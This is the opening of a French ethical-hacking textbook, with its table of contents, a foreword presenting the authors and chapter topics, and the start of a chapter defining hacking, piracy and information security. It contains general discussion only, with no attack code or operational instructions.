Vous êtes sur la page 1sur 285

Table des matières

Introduction...........................................................................................................................................3
Introduction et définitions.....................................................................................................................3
La sécurité informatique : pour quoi, pour qui ?................................................................................4
Le hacking se veut éthique.................................................................................................................4
Connaître son ennemi pour s’en défendre.........................................................................................4
Conclusion..........................................................................................................................................4
Eléments d’ingénierie sociale.................................................................................................................4
Généralités.........................................................................................................................................4
Modes d’action de l’ingénierie sociale...............................................................................................4
Connaissance des organisations attaquées........................................................................................4
Failles humaines : bases et modèles théoriques................................................................................4
Influence et manipulation..................................................................................................................4
Les techniques de manipulation.........................................................................................................4
Savoir "patcher" les failles humaines.................................................................................................4
OSINT..................................................................................................................................................4
Bibliographie......................................................................................................................................4
Black Market..........................................................................................................................................4
Introduction.......................................................................................................................................4
Deep Web, Dark Web, Darknet, Black Market...................................................................................4
Black Market, entre le visible et l’invisible.........................................................................................4
Fonctionnement.................................................................................................................................4
Anonymat des boutiques ?.................................................................................................................4
Mode d’emploi de Tor........................................................................................................................4
Le référencement du Black Market....................................................................................................4
Annuaire de sites en .onion................................................................................................................4
Vocabulaire........................................................................................................................................4
Liste des markets et autoshops..........................................................................................................4
Prise d’empreinte ou Information Gathering.........................................................................................4
Les attaques.......................................................................................................................................4
L’analyse des risques..........................................................................................................................4
Le test d’intrusion...............................................................................................................................4
Méthodologie d’une collecte d’informations ou prise d’empreinte...................................................4
Le service Whois.................................................................................................................................4
La recherche d’informations sur le Web.............................................................................................4

Restrict
ed
Les moteurs de recherche de périphériques connectés.....................................................................4
La recherche d’informations avec Google Hack.................................................................................4
Applications graphiques dédiées à la recherche d’informations........................................................4
Les scripts de recherche d’informations.............................................................................................4
Énumération DNS : commandes et scripts.........................................................................................4
Les scanners de ports.........................................................................................................................4
Frameworks et collecte d’informations..............................................................................................4
Les scanners de vulnérabilités............................................................................................................4
Faraday : IPE (Integrated Penetration- Test Environment).................................................................4
TL-OSINT : une machine virtuelle pour l’OSINT..................................................................................4
Le protocole SNMP (Simple Network Management Protocol)...........................................................4
Le reporting........................................................................................................................................4
Sites indexant de nombreux outils et guides OSINT...........................................................................4
Les failles systèmes................................................................................................................................4
Généralités.........................................................................................................................................4
Les failles physiques...........................................................................................................................4
Les mots de passe...............................................................................................................................4
Chiffrement et cryptage.....................................................................................................................4
Les processus......................................................................................................................................4
Le démarrage.....................................................................................................................................4
Windows............................................................................................................................................4
Linux...................................................................................................................................................4
macOS X.............................................................................................................................................4
Exploitation des vulnérabilités des systèmes d’exploitation..............................................................4
Big Data et confidentialité..................................................................................................................4
Conclusion..........................................................................................................................................4
Les failles réseaux...................................................................................................................................4
Généralités.........................................................................................................................................4

Restrict
ed
Introduction

discite impetum melius defende

Apprendre l’attaque pour mieux se défendre

Notre adage cyber

Dicere perfacile est, opus exercere molestum.

Dire c’est très facile, mettre en pratique est difficile

Autre adage approprié

Je me rends compte que ce n’est pas chose aisée de justifier, au nom de tous les auteurs de cet
ouvrage, la raison d’être de celui-ci et son évolution, bref son histoire.

Je vais donc modestement m’y atteler et sollicite pour cet exercice la mansuétude de mes collègues
d’écriture.

La sécurité informatique est une science relativement jeune, née avec l’avènement de la
numérisation des données, du développement exponentiel des réseaux et du tout connecté. Cet
avènement a donné accès à l’information au monde entier et provoqué la naissance d’une nouvelle
forme de malfaisance, la cybercriminalité.

Pirates informatiques, virus, malwares, ransomwares sont des termes qui font
malheureusement désormais partie de notre vie professionnelle et courante.

Dans le même temps sont nés les hackers blancs, des bidouilleurs passionnés par la recherche de
failles utilisées par les cybercriminels et le développement de contre-mesures qui ont donné
naissance aux métiers de la cybersécurité.

Ces métiers ont, de fait, fortement évolué ces dernières années et des standards ont été mis en
place, aidés en cela par la création en 2009 de l’Agence Nationale de Sécurité des Systèmes
d’Information, l’ANSSI.

Ils sont variés et possèdent tous leurs spécialités, ce qui explique que, à l’écriture de la première
version de cet ouvrage en 2009, nous étions déjà plusieurs auteurs avec chacun son domaine favori.

Depuis, l’ouvrage en est à sa sixième version, il a considérablement évolué en termes de contenu et


nous sommes passés de sept à douze auteurs, actualité oblige !

Avant de vous parler des auteurs et de leurs chapitres, je me dois de vous raconter
brièvement comment et pourquoi cet ouvrage est né.

Remontons au début des années 2000. À l’origine, nous étions trois : Franck Ebel, Jérôme Hennecart
et moi-même, Robert Crocfer, sur l’antenne universitaire de Maubeuge, entité rattachée à
l’université de Valenciennes. Franck et Jérôme dispensaient des cours aux étudiants de l’IUT
Informatique et j’administrais le réseau informatique.

Le hacking faisait son apparition en France et nos étudiants testaient nos installations.

Restrict
ed
Franck s’était déjà personnellement intéressé à la sécurité informatique et nous en avait montré les
côtés innovants, nous transmettant au passage le virus du hacking qui ne nous a plus quittés depuis.

Nous avons alors cherché à nous former à ces méthodes. À cette époque, aucune formation n’existait
hormis celle donnée par une association "The Hackademy School" sur Paris (à l’origine de la "Nuit du
Hack"). Nous l’avons donc suivi et, dans la foulée, créé notre propre association en 2004 : ACISSI pour
Audit, Conseil, Installation et Sécurisation des Systèmes d’Information. La seule condition pour
l’intégrer étant d’être passionné par le hacking éthique, des étudiants nous ont rejoints dès le départ
(clin d’œil à Seb et David).

En 2008, après quelques années de salons, challenges et veille technologique, nous avons créé la
licence CDAISI pour Cyber Défense et Anti Intrusion des Systèmes d’Information sur l’antenne de
Maubeuge, la première en Europe.

Le hacking était alors plus que méconnu et souvent assimilé au piratage, pour certains de nos
collègues universitaires, c’était un "effet de mode" amené à disparaître... sacrée prédiction !

S’en est suivi l’organisation de salons, la création de challenges de hacking en France et à l’étranger,
des rencontres de passionnés qui sont venus grossir les rangs de l’association. Tout ceci nous a
amené en 2009 à vouloir transcrire cette passion par écrit, ensemble, comme nous l’avions toujours
fait, chacun amenant sa pierre à l’édifice. Et c’est ainsi qu’est né ce livre sur le "Ethical Hacking".

Pour clore ce bref historique, en 2011, nous avons été contactés par la Gendarmerie nationale qui
nous a intégrés tous les trois dans le groupe Cyber Défense de la réserve citoyenne des Hauts-de-
France en tant que Commandants et aujourd’hui Lieutenants-Colonels. Damien Bancal et Joffrey
Clarhaut nous y ont rejoints par la suite.

Enseignants, anciens étudiants, professionnels du secteur, rencontres sur événementiels, les auteurs
de ce livre sont, et ont toujours été, une équipe d’amis motivés par une même passion. Certains sont
partis pour raisons diverses et variées, d’autres sont arrivés mais le lien reste intact entre nous.

Nous avons tous cette volonté de nous adresser aux informaticiens novices, débutants mais
sensibilisés aux concepts du Hacking Ethique et ne sachant pas trop par quel bout commencer pour
se spécialiser et en faire leur métier.

Parlons maintenant des différents chapitres du livre ; nous avons essayé de les ordonnancer en
fonction de la méthodologie d’une attaque ou plutôt, en ce qui nous concerne, du déroulement d’un
pentest.

Comme tout ouvrage scientifique, nous avons besoin de vous présenter ce monde spécifique de la
cybersécurité en vous familiarisant avec son histoire, son langage très particulier, les confusions
possibles, les enjeux de celles-ci, tant au niveau particulier que professionnel ou même étatique et
les préceptes du Hacking Ethique.

Introduction et définitions

Ce premier chapitre traite de toutes ces choses et vous permettra de mieux appréhender les
chapitres suivants. J’y réactualise en fait l’excellent chapitre originel de Marion Agé (coucou
Marion !) partie vers d’autres aventures professionnelles.

Pour ma part, je suis passionné par l’OSINT (renseignements en sources ouvertes), les failles système
et le forensic.

Restrict
ed
Éléments d’ingénierie sociale - Black Market

Les deux chapitres suivants, Éléments d’ingénierie sociale et Black Market, sont écrits par
Damien Bancal, le « monsieur 100 000 volts » de l’équipe. Comment vous présenter une figure
incontournable de la cybersécurité ? Journaliste spécialiste des questions cyber depuis 1989, son
blog de référence zataz.com est mondialement connu. Il est aussi "lanceur d’alerte", prévenant
entreprises et administrations d’attaques ou failles repérées.

Membre du groupe Cyber de la gendarmerie des Hauts-de-France (Commandant) et enseignant à ses


heures pour la licence CDAISI et l’École européenne d’intelligence économique, il est également
chroniqueur sur Wéo et BsmartTV et répond régulièrement aux invitations des médias nationaux
pour y parler de sa passion, la cybersécurité.

Spécialiste du Darkweb mais également expert pour le social engineering, il vous guidera dans les
méandres du Darknet et vous initiera aux techniques de l’ingénierie sociale qui est l’art et la manière
d’influencer les êtres humains.

Prise d’empreinte ou Information Gathering

Le quatrième chapitre sur la prise d’empreintes est la suite logique des deux précédents. En effet,
l’ingénierie sociale est une étape importante de la prise d’empreintes ou Information Gathering en
anglais.

Imaginez une attaque militaire en règle, repérage et localisation de la cible, moyens d’accès,
estimations des forces et faiblesses de l’ennemi, mise en place d’une stratégie à mener, réalisation
de celle-ci et rapport aux autorités sur son déroulement après coup.

Vous avez là, à quelques variantes près, tous les ingrédients d’un pentest (ou d’une
attaque informatique), dont la phase de repérage que l’on assimilera à la prise d’empreintes.

Dans ce chapitre, je m’efforce de vous expliquer les types et la méthodologie des attaques et par
analogie, d’un audit de sécurité. Je vous initie à la récupération de données en utilisant des outils
OSINT et d’autres plus agressifs afin de préparer au mieux la stratégie à mettre en place en fonctions
des résultats. Cette étape est cruciale dans la réalisation d’un pentest et conditionne généralement la
réussite de celui-ci, ne la négligez pas !

Maintenant que nous avons traité des failles humaines et des différents moyens de collecter les
informations nécessaires à nos objectifs, attaquons-nous au matériel.

Les failles système - Les failles réseau

Les deux chapitres suivants vous permettront d’appréhender deux sujets indissociables à mon avis :
les failles système et les failles réseau tous deux écrits par mon ami et collègue Laurent Schalkwijk.

Dans les éditions précédentes, j’écrivais un chapitre traitant des failles physiques des ordinateurs. En
discutant avec Laurent qui écrivait le chapitre des failles système, nous nous sommes aperçus que
certaines techniques étaient redondantes et que ce chapitre pouvait être intégré à celui de Laurent.
Ceci est maintenant chose faite, Laurent s’étant chargé de cette intégration.

Laurent est formateur auprès d’étudiants en Belgique et en France et consultant indépendant sur les
technologies réseau et sur la sécurité informatique. Il est certifié Cisco CCNA et instructeur
d’instructeurs Cisco CCNA, autant vous dire que le niveau réseau et système est élevé et

Restrict
ed
impressionnant. A contrario, la personne est extrêmement accessible tout en restant très
professionnelle.

Dans ces deux chapitres, Laurent vous explique le fonctionnement et les vulnérabilités des systèmes
Windows, Linux et mac OS X ainsi que le fonctionnement de l’exploitation de certaines failles au
travers de cas pratiques. Côté réseau, après un rapide rappel sur les réseaux TCP/IP, vous découvrirez
différents types de scan, la notion et la gestion de sockets, diverses techniques de contournement,
de cracks wpa2, de Man in the Middle, de vols de session, etc. qui vous passionneront à n’en pas
douter.

La sécurité des communications sans fil

On ne pouvait pas quitter le domaine du réseau sans vous parler des réseaux spécifiques liés aux
objets connectés (les failles mobiles font l’objet d’un chapitre dédié) et de leur exploitation en
termes de hacking. Ce chapitre a été rédigé par Frédéric Vicogne, enseignant en électronique,
informatique et numérique. Il est responsable du module gestion et administration Linux de la
licence CDAISI. Il est également concepteur hardware et software de circuits numériques 32 bits et
spécialiste en radio-transmission numérique. Derrière une personne discrète et sympathique se
cache un expert redoutable dans ces spécificités. Qui peut se targuer d’avoir réalisé des circuits
électroniques maison en composants de surface soudés dans le four de cuisine familial, remanié par
ses soins en four de précision à cet effet, platines qui ont servi à gérer des baies de serveurs dans un
datacenter ? Excusez du peu !

Comme je vous le disais, cette équipe d’auteurs est très hétéroclite et vous constaterez que la suite
de cet avant-propos ne me démentira pas !

Les failles web

Après le côté matériel, passons maintenant aux incontournables failles web qui vous sont présentées
par Jérôme Hennecart. Jérôme c’est l’art et la manière de vous expliquer les choses les plus
compliquées de façon simple, claire et détaillée, (et en plus, c’est un narrateur hors pair d’histoires
drôles !). C’est le troisième ami à l’origine de cette belle aventure.

Enseignant dans plusieurs formations liées à la cyberdéfense (Licence CDAISI, Master CDSI, MBA
Management de la cybersécurité), il est spécialiste en sécurité des applications web et en analyse des
risques par la méthode EBIOS RM.

Il est aussi conseiller en cybersécurité pour la société Serval-Concept et Lieutenant-Colonel de la


réserve citoyenne de la Gendarmerie nationale dans le groupe Cyberdéfense.

Enfin, c’est également un excellent conférencier qui a œuvré dans de nombreux pays (Afrique du
Nord, Afrique subsaharienne, Russie, etc.).

Après un rapide rappel sur le Web, et quelques explications sur la composition d’un site et le
fonctionnement de la consultation de celui-ci, vous passerez à l’étude de failles web et à l’utilisation
d’outils spécialisés à cet effet. Vous installerez votre labo de test et testerez les failles web les plus
répandues (SQL, XSS...). Vous terminerez ce chapitre par la mise en place de contre-mesures et
recevrez quelques conseils de développement.

Les failles applicatives

Ce chapitre sur les failles applicatives, écrit par Franck Ebel, est assez technique ; il va vous falloir
appréhender l’Assembleur. Franck Ebel est enseignant sur l’antenne de Maubeuge, expert Python

Restrict
ed
reconnu de par ses nombreux ouvrages dédiés à ce langage et spécialiste des buffers overflow, dont
il vous fait ici une présentation détaillée. (pour la petite histoire, Franck c’est "monsieur, j’ai une idée
toutes les cinq minutes" qui vous entraîne dans des challenges pas possibles mais tellement
enrichissants !). Pour commencer il fait un petit rappel sur le binaire. Ensuite une présentation des
processeurs Intel, de l’Assembleur et quelques exercices vous permettront de vous familiariser avec
celui-ci.

Viendront ensuite les notions de buffer overflow, de stack overflow, de heap overflow et leurs
fonctionnements avant de finir par la mise en œuvre de failles applicatives sous Windows sur
machines virtuelles.

Cette section est assez ardue pour les néophytes, ne vous découragez pas car, a contrario, elle est
aussi très intéressante !

Forensic

Ce chapitre, écrit initialement par Thibaut, grand spécialiste du forensic et de l’étude de malware qui
nous a quittés pour d’autres horizons professionnels, est une introduction à l’analyse forensique.

Un cours complet nécessiterait plusieurs ouvrages !

Le forensic ou encore l’analyse forensique est en fait la recherche de traces appelées preuves de
compromission dans le cas d’une attaque informatique, en informatique légale.

Le but sera de retracer le plus fidèlement le déroulement de celle-ci en retrouvant les différentes
étapes de l’infection.

Elle est très utilisée dans les enquêtes criminelles pour la recherche de données criminelles.

Mais celle-ci pourra également aider au débogage d’un binaire d’application, d’un
fonctionnement aléatoire d’applicatif ou au dysfonctionnement d’un réseau.

On y parlera d’analyse mémoire, de systèmes de fichiers, de fichiers de log, de contenus de registres


et de trames réseau ainsi que de reverse de fichier binaire.

Vous aurez besoin de connaissance en C et en Assembleur et de l’incontournable Python si vous


développez vos propres outils.

J’ai ajouté sur cette édition ma modeste touche personnelle en développant la partie analyse
mémoire sur Windows et Linux.

Malwares : étude des codes malveillants

Ce chapitre est la suite logique du précédent, rédigé par Rémi Dubourgnoux, ancien étudiant de la
licence CDAISI et travaillant pour le CERT Michelin qui se présente comme un autodidacte passionné
étudiant les arcanes de l’électronique, de l’algorithmique et du développement, des systèmes *NIX,
de l’informatique légale, de la réponse sur incident, de l’étude des profils d’attaquants et des codes
malveillants. Autant vous dire qu’il est bien armé pour vous guider dans cette étude et détection de
malwares.

Il vous faudra quelques connaissances sur Linux pour pleinement exploiter les enseignements de ce
chapitre ainsi que des connaissances sérieuses en langage C et Assembleur.

Après avoir vu différentes classifications de malwares, vous découvrirez diverses méthodes de


détection avec leurs forces et faiblesses, des méthodes d’offuscations.

Restrict
ed
Ce chapitre pourra paraître ardu pour certains mais en sécurité informatique la persévérance est de
mise !

Les appareils mobiles, failles et investigations

L’importance exponentielle que prennent les appareils mobiles dans nos vies respectives nous oblige
à dédier un chapitre complet sur leurs failles et les investigations possibles d’y mener.

Nous avons donc fait appel à un expert dans le domaine, Jacques Beirnaert, Consultant en
cybersécurité chez Serval-Concept, certifié CEH, CHFI. Les missions de Jacques sont diverses, allant de
la réalisation de tests d’intrusion sur des systèmes d’information, à d’autres plus spécifiques comme
l’audit d’applications mobiles ou encore d’Active Directory. Il est également formateur et intervient
dans plusieurs centres de formation, dont la licence CDAISI et L’ESD Academy.

Jacques, c’est la force tranquille, jamais un mot plus haut que l’autre mais une capacité
d’apprentissage, d’analyse et de restitution impressionnante et, cerise sur le gâteau, toujours présent
pour les collègues.

Dans ce chapitre, il vous présentera le réseau cellulaire, la notion de fausse antenne relais et le
sniffing des informations cellulaires via celle-ci. Il vous présentera ensuite le système d’exploitation
Android, certains problèmes d’homogénéité, comment déverrouiller le bootloader, son architecture,
des CVE pour Android, la récupération de données via des techniques de forensic sur Android et bien
d’autres techniques qui vous passionneront.

Les failles matérielles

Chapitre un peu particulier que celui des failles matérielles. Si vous reprenez l’expression du hacker
que l’on présente comme un bidouilleur passionné, vous aurez le portrait de Sébastien Lasson,
auteur de ce chapitre. Sébastien a travaillé dans la conception d’objets connectés orientés
énergétique ainsi que sur l’interconnexion de produits industriels et de gestion technique de
bâtiments.

Spécialiste de la sécurité matérielle des systèmes (carte à puces, carte magnétique, RFID, etc.).
Développeur web indépendant, il démonte et analyse tous les systèmes qui lui tombent sous la main
et fait de l’étude de ceux-ci sa spécificité.

Après vous avoir décrit le matériel nécessaire au reverse engineering matériel, et fourni les liens vous
permettant de l’acquérir à des prix accessibles, il vous présentera la méthodologie pour "reverser" un
matériel a priori inconnu et récupérer un code PIN à l’intérieur.

Vous découvrirez ensuite la technologie Arduino qui vous permettra de reproduire un hack bien
connu sur les cartes prépayées pour cabines qui n’existent plus aujourd’hui. Mais comme le dit Seb,
la connaissance des anciens proof of concept nous donne souvent accès aux nouvelles techniques de
hacking !

La sécurité des box

Un autre chapitre particulier, celui sur la sécurité des box, écrit par un autre extraterrestre du
hacking : Guillaume Fortunato, Guillaume et Sébastien sont d’ailleurs copains dans la vie, ceci
expliquant peut-être cela ! Ingénieur Cybersécurité, certifié CEH, Guillaume réalise régulièrement des
audits de sécurité informatique. Ses domaines de compétences sont le réseau, le GSM, la téléphonie
IP, les systèmes de sûreté, les box, Windows et Linux.

Restrict
ed
Dans son chapitre, vous découvrirez le fonctionnement avancé de ces boîtes noires que sont les box
de nos fournisseurs d’accès à Internet ainsi que leurs technologies et les services souvent méconnus
qu’elles peuvent proposer.

Vous apprendrez qu’il est possible (attention au cadre légal) de modifier et de personnaliser le
firmware de certaines box... vous voici de nouveau en mode bidouilleur !

Un peu à l’image du proof of concept de Sébastien, Guillaume vous détaillera le reverse matériel
d’une box et le flash du firmware de celle-ci.

Hacking du véhicule connecté

Autre chapitre intéressant. Nos véhicules étant de plus en plus connectés, voire à l’avenir pilotés, il
était tout naturel pour un hacker de s’intéresser à la sécurité de ceux-ci.

C’est ce qu’a fait Joffrey Clarhaut, enseignant-chercheur à l’université Polytechnique des Hauts-de-
France, commandant de gendarmerie dans la réserve numérique - cyberdéfense. Il intervient dans la
licence CDAISI sur les failles physiques dans les systèmes automobiles. Joffrey c’est un abord facile,
une méthodologie extrême, le souci du détail et une passion pour les transports et leur sécurisation
(l’automobile n’est pas la seule corde à son arc !).

Après un bref historique sur l’avènement de l’automobile connectée, Joffrey décrit les différences
subtiles entre véhicule connecté et autonome ainsi que les niveaux de connectivité actuellement
atteints.

Il vous décrira la surface d’attaque des véhicules connectés ainsi que les motivations de ces attaques
pour basculer ensuite dans la technique avec une description avancée des composants spécifiques
d’un véhicule connecté.

Viendront ensuite les différents types d’attaque aujourd’hui possibles, la description de celles-ci, le
matériel électronique nécessaire, les softwares ou commandes permettant leur exploitation, ainsi
qu’une description détaillée de softs open source comme Openpilot utilisés dans le cadre du
développement de véhicules autonomes.

Il vous présentera également les possibilités d’injection à distance (le récent bug des serveurs Tesla
ayant bloqué des milliers de véhicules pourrait donner des idées à certains acteurs du cybercrime !),
ainsi que d’autres méthodologies d’attaque.

On met ici le doigt sur les conséquences de la cybercriminalité sur les objets physiques phares de
notre quotidien.

Risques juridiques et solutions

Le Hacking Ethique, c’est également le respect des lois et du cadrage des procédures. On parle dans
ce livre de hackers blancs qui, eux, respectent la loi et les libertés individuelles.

Le dernier chapitre est, à ce titre, très important car il vous aidera à vérifier que vous n’êtes pas hors
cadre légal dans vos travaux de hacking.

Ce chapitre est écrit par Raphaël Rault. "Avocat 2.0", Raphaël est avocat associé au sein du cabinet
Alter Via Avocats, titulaire du Certificat de spécialisation en droit des nouvelles technologies, de
l’informatique et de la communication, Délégué à la Protection des Données (Data Protection
Officer), membre de l’Association française des correspondants aux données personnelles (AFCDP),
diplômé de l’EDHEC Business School et chargé d’enseignement en droit du numérique. Comme vous

Restrict
ed
pouvez le constater, il est extrêmement bien armé pour répondre à ce genre de problématique (c’est
également un excellent chairman en conférences internationales, nous avons testé !).

Dans son chapitre, il vous expliquera, par exemple, pourquoi il est indispensable de contractualiser
entre prestataire et client afin de ne pas tomber sous le coup d’une qualification pénale et que si,
incidemment, vous trouviez certaines failles, vous devrez être très prudents sur les modalités de
divulgation de celles-ci.

Tous ces conseils seront également étayés à l’aide d’exemples de jugements précis et clairs. Vous
vous apercevrez très vite que la frontière est mince entre sanction et relaxe et que la vigilance est de
rigueur dans l’exercice du hacking.

Nous sommes arrivés au bout de cet avant-propos, j’espère que vous prendrez autant de plaisir à lire
ce livre que nous en avons eu à l’écrire.

La sécurité informatique, ou quel que soit le terme employé, hacking, cyberdéfense..., est une
discipline en plein essor qui devient vite une passion pour peu que l’on s’en donne la peine, ce que je
vous souhaite à tous.

Je demande également à mes collègues d’écriture de bien vouloir me pardonner d’avoir, tout au long
de cet avant-propos, dévoilé un peu de leurs personnalités respectives. Pour ma défense, cet
ouvrage écrit à plusieurs mains est le résultat d’une longue et belle collaboration de personnes aux
personnalités et statuts différents qui se sont rejoints dans une passion commune et il aurait été
dommage de ne pas en faire un léger portrait.

Merci également à nos femmes, copines et familles qui supportent les contraintes et exigences
générées par cette passion.

Bonne lecture à tous !

Robert Crocfer

Restrict
ed
Introduction et définitions

La sécurité informatique : pour quoi, pour qui ?


1. L’actualité cybercriminelle

De nos jours, la cybercriminalité est un phénomène connu du commun des mortels, les médias se
sont emparés de ce sujet et il ne se passe pas une semaine sans qu’on entende parler de
cyberattaques, de ransomwares (rançongiciels) et de fuites de données personnelles ou
d’entreprises.

Avec le développement du Dark Web, sur lequel tout se vend, et l’avènement des cryptomonnaies,
via lesquelles la majorité des transactions financières illégales sont effectuées, les cybercriminels ont
pris conscience des gains énormes que les cyberattaques pouvaient leur rapporter.

Lors de l’année 2020, les pertes financières dues à ces attaques ont été estimées à environ 1000
milliards de dollars, représentant 1 % du PIB mondial.

De plus, celles-ci ne se limitent plus désormais,aux grandes entreprises. Ainsi,


administrations, instituts d’enseignement, hôpitaux (premier décès lié à une attaque par ransomware
recensé en Allemagne en septembre 2020) et particuliers sont également devenus des cibles sources
de profits.

Les systèmes industriels connectés (SCADA) n’échappent pas à la règle et subissent également des
attaques ayant des conséquences matérielles dramatiques (productions paralysées, coupures
d’énergie...).

Les principales méthodologies d’attaques et d’infections sont maintenant bien identifiées. Les termes
phishing (envoi d’e-mails piégés), malware et ransomware (type spécifique de malware qui chiffre
vos données pour vous réclamer une rançon) font désormais partie du langage courant.

La pandémie de Covid 19, via le télétravail mis en place, a favorisé l’augmentation des cyberattaques
de façon spectaculaire, faisant passer leur nombre recensé de 1 200 en janvier 2020 à 380 000 début
avril 2020, révélant au passage le manque énorme de sensibilisation à la sécurité informatique dans
nos institutions de type privé ou étatique.

2. Hacking, piratage, sécurité informatique, cyberdéfense... Que met-on derrière ces termes ?

Depuis les années 1970, les systèmes d’information se sont multipliés et ont pris de plus en plus
d’importance, permettant un accès toujours plus rapide à de plus en plus d’informations, multipliant
le partage de celles-ci avec la démocratisation et le développement d’Internet dans les foyers.

Aujourd’hui, la majorité des foyers possèdent un accès à Internet et il est possible de se connecter
avec l’autre bout du monde depuis un café ou depuis un train. Cela permet entre autres de garder
contact avec ses proches ou travailler à distance où que l’on soit, grâce à un accès continu aux
informations.

Cela représente une réelle avancée technologique dans un monde où tout doit aller plus vite, mais
un véritable problème de fond en ce qui concerne la sécurité des données et la vie privée de chacun.
On ne développe pas un nouveau média sans développer quelques effets de bord nuisibles.

Restrict
ed
Or, aujourd’hui, d’énormes volumes d’informations des plus confidentielles (big data) sont transférés
sur le réseau, le contenu de ces dernières étant parfois bien plus intéressant que la connaissance de
l’émetteur ou du destinataire de l’information.

Dans un monde idéal, ces informations circuleraient de l’un à l’autre en toute sécurité, protégées de
l’emprise de toute autre personne durant leur transit. Les informations partiraient et arriveraient en
toute intégrité sans altération ni visualisation externe possibles, de même que personne ne devrait
recevoir contre son gré des données qui pourraient le mettre à mal... dans un monde idéal.

Et quand on réfléchit un instant à l’importance des données que l’on fait transiter sur le réseau, que
ce soit chez soi ou au bureau, il y a de quoi se poser des questions sur la sécurité offerte à celles-ci.

Aujourd’hui, les attaques, les menaces et les conséquences d’une vigilance trop souple se multipliant,
la conscience collective semble s’intéresser de plus en plus aux problèmes de sécurité informatique,
de piratage et de hacking.

Un joli mélange de termes qui se retrouvent bien souvent employés les uns à la place des autres,
faisant paniquer tout un chacun sur des dangers qui ne le concernent pas forcément, et le laissant
ignorant de sujets si importants que toute personne devrait les connaître avant de se connecter au
réseau.

Le terme de pirate n’est pas propre à l’informatique, il définit en premier lieu un individu lié au
banditisme en mer, pillant et volant avec violence, aux dépens d’autrui et de façon malhonnête.
Adapté au domaine informatique, le contexte est différent mais l’action peut être apparentée. Il
s’agit d’une personne qui va chercher à piller un système informatique en détruisant ses protections.
Le terme vise donc les personnes compromettant les systèmes informatiques dans le but de nuire, de
voler des informations ou de réaliser du profit de manière illégale.

D’un autre côté, on entend souvent parler de hackers, et c’est ici que la confusion est souvent faite
par les médias, qui les assimilent très facilement les uns aux autres alors qu’ils ont des éthiques bien
différentes. Le hacker est par définition un bidouilleur, un fouineur, un passionné, bien plus enclin à
la curiosité et à la soif d’apprendre qu’à la volonté de nuire. Le hacker est un spécialiste de la sécurité
informatique, qui utilise ses connaissances par envie ou besoin d’en savoir plus ou pour diffuser des
informations.

Pour les hackers, le savoir et l’information se veulent libres et gratuits. Les hackers se regroupent en
communautés basées autour du partage et de l’échange de compétences pour libérer cette culture.
Autour de ce concept se sont développés plusieurs mouvements qui, aujourd’hui, ont largement
dépassé le stade embryonnaire et se fondent dans notre quotidien. Citons par exemple le logiciel
libre qui, grâce à une communauté passionnée et dévouée, s’est développé et même démocratisé de
manière remarquable depuis quelques années, profitant de la communauté pour battre des records
en termes de rapidité de résolution des problèmes et de publication de correctifs.

La sécurité informatique, ou plus globalement la sécurité des systèmes d’information, représente


l’ensemble des moyens et des techniques mis en œuvre pour assurer l’intégrité et la non-diffusion
involontaire des données transitant dans le système d’information. Le système d’information définit
l’ensemble des données et des ressources (matérielles, logicielles et humaines) permettant de
stocker et de faire circuler les informations qu’il contient. Il représente également le réseau d’acteurs
qui interviennent sur celui-ci, qui échangent les données, y accèdent et les utilisent.

3. L’importance de la sécurité

Restrict
ed
À l’heure du "tout disponible, partout, tout de suite", le transport des données en dehors de chez soi
ou de l’entreprise est une réalité qui mérite que l’on s’interroge sur la sécurité des transmissions
pour ne pas compromettre le système d’information.

Que ce soit à l’échelle d’une entreprise, d’une multinationale, d’un particulier ou même d’un pays, la
sécurité d’un système d’information prend son importance dans la valeur des informations qu’il
contient.

Avec le déploiement du réseau, on est face à une augmentation non seulement de la quantité, mais
aussi et surtout de l’importance des données qui y transitent.

a. Pour les particuliers

Selon le contexte auquel elle s’applique, la sécurité informatique revêt une importance et des
moyens bien différents.

Le particulier aura plutôt à cœur de conserver intactes les informations qu’il considère comme
confidentielles, privées et personnelles, que ce soit lors d’échanges avec sa famille ou ses amis, lors
de la consultation de ses données bancaires en ligne, ou encore lors d’achats réalisés sur Internet.
Malheureusement, il ne se passe pas une journée sans qu’un individu ne se retrouve victime de
cybermalveillance.

À côté de cela, il y a des fuites qui peuvent sembler moins graves et qui apparaissent seulement dans
la conscience publique : elles concernent la vie privée. Et à ce petit jeu, les outils que l’on utilise au
quotidien sont les meilleures sources d’informations sur nous-mêmes : Facebook, Google, des sites
friands de tout ce que l’on a à leur donner et qui mettent très longtemps à oublier...

Aujourd’hui encore, malgré les nombreuses recommandations diffusées un peu partout sur les
médias, certains n’hésitent pas à publier beaucoup d’informations personnelles exposant ainsi leur
vie privée au monde entier et à d’éventuelles malveillances.

On n’est alors pas forcément loin du concept de sécurité, parce qu’apprendre le risque pour
construire sa propre sécurité est finalement quelque chose qui devrait être la préoccupation de tout
un chacun.

Un particulier peut également être la cible d’attaques sur son site personnel, son blog, parfois sans
aucune raison valable (le harcèlement sur la toile est malheureusement une réalité). L’attaquant
pourra, outre les effets sur le site en question (suppression de données, etc.) ainsi s’installer sur ce
serveur pour assurer d’autres attaques de plus grande envergure, pour voler des informations
personnelles ou mettre à mal quelques systèmes d’information plus importants.

Cette intrusion peut également se faire via la connexion internet d’un particulier, si celui-ci ne la
sécurise pas ou mal. Si un intrus réussit à se connecter et réalise quelques actions illégales (partage
de fichiers confidentiels, attaques massives...) à partir de celle-ci, le propriétaire de la ligne est
responsable de ces actions. Par exemple, la loi HADOPI rend le propriétaire de la ligne responsable de
la sécurisation de sa connexion internet et les poursuites seront possibles envers ce dernier si des
activités illégales sont décelées suite à un défaut de sécurisation.

b. Pour les entreprises et les écoles

Pour une entreprise, le système d’information représente sa valeur, c’est l’essentiel à protéger.
Compromettre ce système revient à compromettre l’entreprise. Il convient donc d’assurer la sécurité

Restrict
ed
du système, c’est-à-dire de s’assurer que les ressources servent uniquement dans le cadre prévu par
les personnes accréditées, et surtout pas dans un autre cadre.

La mise en place d’un système de sécurité signifie généralement le déploiement de moyens


techniques, mais également et surtout de solutions de prévention qui doivent absolument prendre
en compte la formation et la sensibilisation des acteurs du système. Des règles et des bonnes
pratiques doivent être mises en place pour ne pas créer de brèche humaine, une faille trop souvent
ignorée et bien connue des attaquants (cf. chapitre Éléments d’ingénierie sociale).

Les liens entre l’entreprise, ses partenaires, ses fournisseurs et les employés forment un ensemble
qu’il faut connaître pour le sécuriser. Les ressources qui y circulent doivent absolument être
protégées, et pour cela la maîtrise du système d’information est indispensable. Chaque acteur du
système possède un rôle à respecter, qui doit être défini scrupuleusement.

Le risque d’attaque pour un système se mesure par la menace pesant sur celui-ci, sa vulnérabilité, et
les mesures mises en œuvre pour la sécurité de ce système.

